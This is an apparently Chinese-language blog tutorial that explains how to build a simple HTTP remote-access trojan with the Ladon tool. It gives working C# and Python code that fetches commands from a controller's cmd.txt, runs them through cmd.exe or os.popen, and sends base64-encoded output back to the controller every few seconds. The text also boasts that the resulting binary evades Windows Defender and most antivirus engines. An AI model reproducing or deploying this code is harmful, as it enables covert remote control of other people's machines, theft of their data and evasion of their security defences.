前言写了几篇无回显命令执行漏洞Ladon回显方法,接下来我们它升级,既然我们可以通过漏洞执行无回显命令都可以得到回显,那么我们自己写的程序不是更轻而易举吗?所谓远控不过就是通过各种协议传输攻击者的操作指令与结果而已。早期都是用TCP协议实现,之后FTP、HTTP(什么网盘、邮箱、博客等都是并非什么新方式只是换个网址或API而已),大家常用的CS也是HTTP协议,本文用Ladon来实现个简单的C2。
启动WEB
参数1 2 3 4 5 /ip.txt or ip.jpg Get Target WanIP /getstr/AnyString Get Request String /getb64/AnyString Base64 Encode (Request String) /deb64/Base64String Base64 Decode (Request String) /deb64txt/Base64String Base64 Decode Save TXT
浏览器回显由于是HTTP协议,可以通过浏览器访问得到Ladon回显BASE64解密结果,就是说我们只要通过命令行发送HTTP请求即可在Ladon控制台看到命令执行后的结果。getstr为发送明文,但是结果中有特殊字符或换行就无法HTTP请求了,所以我们使用BASE64加密,这个原理我们在JAVA反序列化漏洞回显中有提到过。
明文回显http://192.168.1.43:800/getstr/cve2020
Base64回显http://192.168.1.131:800/debase64/MTIzMTIzMTIzMTIzMTI=
保存txthttp://192.168.1.131:800/deb64txt/MTIzMTIzMTIzMTIzMTI= http://192.168.1.131:800/debase64txt/MTIzMTIzMTIzMTIzMTI=
HTTP C2原理1.搭建WEB,可Apache、IIS、Tomcat或者自己研发如Ladon、CobaltStrike 2.通过HTTP协议获取指令、回传结果 3.指令执行功能(CMD执行、文件上传下载、其它功能等)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 try { //首先在VPS上执行命令: Ladon web 800 一键启动服务器 //其次在Ladon根目录下放cmd.txt,里面存放要执行的命令 //第一步 获取命令 string url = "http://192.168.250.27:800/cmd.txt" ; string cmd = httpget(url); //第二步 执行命令 string result = execcmd(cmd); //第三步 发送结果 //httpget("http://192.168.250.27:800/getstr/" +result); //第三步 发送结果 Base64加密支持多行结果 httpget("http://192.168.250.27:800/deb64/" + Base64_encodeUTF8(result)); } catch (Exception s) { Console.WriteLine("Error: " + s.Message); }
PS: 定时执行如设定5秒,就和CS原理一样了
HTTP下达指令、接收结果代码既然是通过HTTP实现的,那么我们当然是通过HTTP下达指令,我们可以把指令放在cmd.txt中,然后通过HTTP读取TXT内容,这不就是相当于下达指令了吗?读取到CMD后,执行CMD再将结果通过HTTP回传,所以我们可以使用同一个方法,只是下达指令和接收结果是不同URL而已。
1 2 3 4 5 6 7 8 9 10 11 12 private static string httpget(String url) { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); request.Method = "GET" ; request.Accept = "*/*" ; HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream getStream = response.GetResponseStream(); StreamReader streamreader = new StreamReader(getStream); string result = streamreader.ReadToEnd(); Console.WriteLine(result); return result; }
执行CMD通过getstr接收明文结果
执行CMD代码接收到的CMD,通过此代码执行命令并获取结果。列目录、文件下载等其它功能同理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private static string execcmd(string cmd) { Process CmdProcess = new Process(); CmdProcess.StartInfo.FileName = "cmd.exe" ; CmdProcess.StartInfo.CreateNoWindow = true ; CmdProcess.StartInfo.UseShellExecute = false ; CmdProcess.StartInfo.RedirectStandardInput = true ; CmdProcess.StartInfo.RedirectStandardOutput = true ; CmdProcess.StartInfo.RedirectStandardError = true ; CmdProcess.StartInfo.Arguments = "/c " + cmd; CmdProcess.Start(); string result = CmdProcess.StandardOutput.ReadToEnd(); CmdProcess.WaitForExit(); CmdProcess.Close(); return result; }
Base64加密代码由于明文传输不支持多行结果,将会导致很多命令无法通过GET方式取回显,所以我们可通过BASE64回传,既不直接暴露CMD结果,也解决了多行结果无法回显问题。
1 2 3 4 public static string Base64_encodeUTF8(string str) { return Convert.ToBase64String(Encoding.UTF8.GetBytes(str)); }
BASE64加密的结果传到Ladon后会自动解密,用IIS、Apache等无此功能(省去脚本编写)
win10 Defender免杀测试win10最新版defender轻松免杀
免杀virscan所有杀软
https://r.virscan.org/language/zh-cn/report/48315fc6e64f2b5740358607431618e9
显然很多杀软很垃圾的,对于自己写的RAT依旧轻松免杀,所以那些说自己写的没几个人用的非公开马只针对几个杀软认为自己牛B的,其实免杀水平都不怎样。当你写个公开的工具且很多人使用,依旧能免杀才叫牛,不是写一个没几个人用的东西免杀几个月还认为免杀牛逼,忽悠不会写马的菜B认为免杀难的差不多。你免杀别人公开的大量人用的东西当然难,不公开的东西可能并不需要怎么修改都免杀,功能越少越容易做,难个蛋蛋。
以色列杀软牛B突然想起还有一个杀软网站,测试后发现被以色列杀软杀了,这种出现HTTP请求和CMD执行的,那些不杀的杀软,至少也要报个可疑才对。居然不报,还是以色列牛逼https://www.virustotal.com/gui/file/400ae8245d431d49f9d73d0c437a09e2e8914c697ab7305bf3e8c28a90ef344c/detection
Python实现C2使用PY实现就更简单了,我们可直接套用之前CS假上线的代码,稍微修改加上命令执行即可,参考: http://k8gege.org/p/40523.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import urllib2 import time import os import base64 def cscheat(): opener = urllib2.build_opener() res = opener.open("http://192.168.250.27:800/cmd.txt" ) cmd = res.read() print cmd result = os.popen(cmd) res = result.read() cmdResult="" for line in res.splitlines(): cmdResult+=line+"\r\n" print cmdResult opener.open("http://192.168.250.27:800/deb64/" +base64.b64encode(cmdResult)) while True: print (time.strftime('%Y-%m-%d %X' ,time.localtime())) cscheat() time.sleep(5)
Download本文完整代码LadonRat.rar,在K8小密圈可下载
LadonGo (ALL OS)https://github.com/k8gege/LadonGo/releases
Ladon (Windows & Cobalt Strike)历史版本: https://github.com/k8gege/Ladon/releases 7.0版本:http://k8gege.org/Download 8.3版本:K8小密圈